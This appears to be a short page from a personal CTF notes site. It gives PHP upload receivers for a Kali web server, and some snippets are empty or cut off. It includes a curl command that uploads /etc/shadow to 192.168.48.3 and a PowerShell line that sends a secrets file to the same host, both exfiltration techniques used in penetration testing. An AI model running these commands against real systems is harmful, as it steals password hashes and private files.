> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/miscellaneous/upload-forms-and-scripts.md).
# Upload Forms and Scripts
Below different web forms and scripts to upload files to a Kali web server are shown.
## Form for Unix/Linux
### HTML Form
```html
File uploads
```
This form uses and requires an `uploads` subdirectory to the web root (usually `/var/www/html`).
### Supporting PHP-script
```php
";
echo "Target path=" . $target_path . "
";
echo "Size=" . $_FILES['uploadedfile']['size'] . "
";
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename( $_FILES['uploadedfile']['name']) . " has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
?>
```
### Upload example
Upload example with `curl`
```bash
curl --form "uploadedfile=@/etc/shadow" http://192.168.48.3/upload.php
```
## Script for Windows
No HTML-form is needed for Windows/PowerShell, just a PHP-script.
### PHP-Script
```php
```
### Upload example
Upload example with PowerShell
```powershell
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.48.3/uploadWindows.php', '.\Secrets.jpg')
```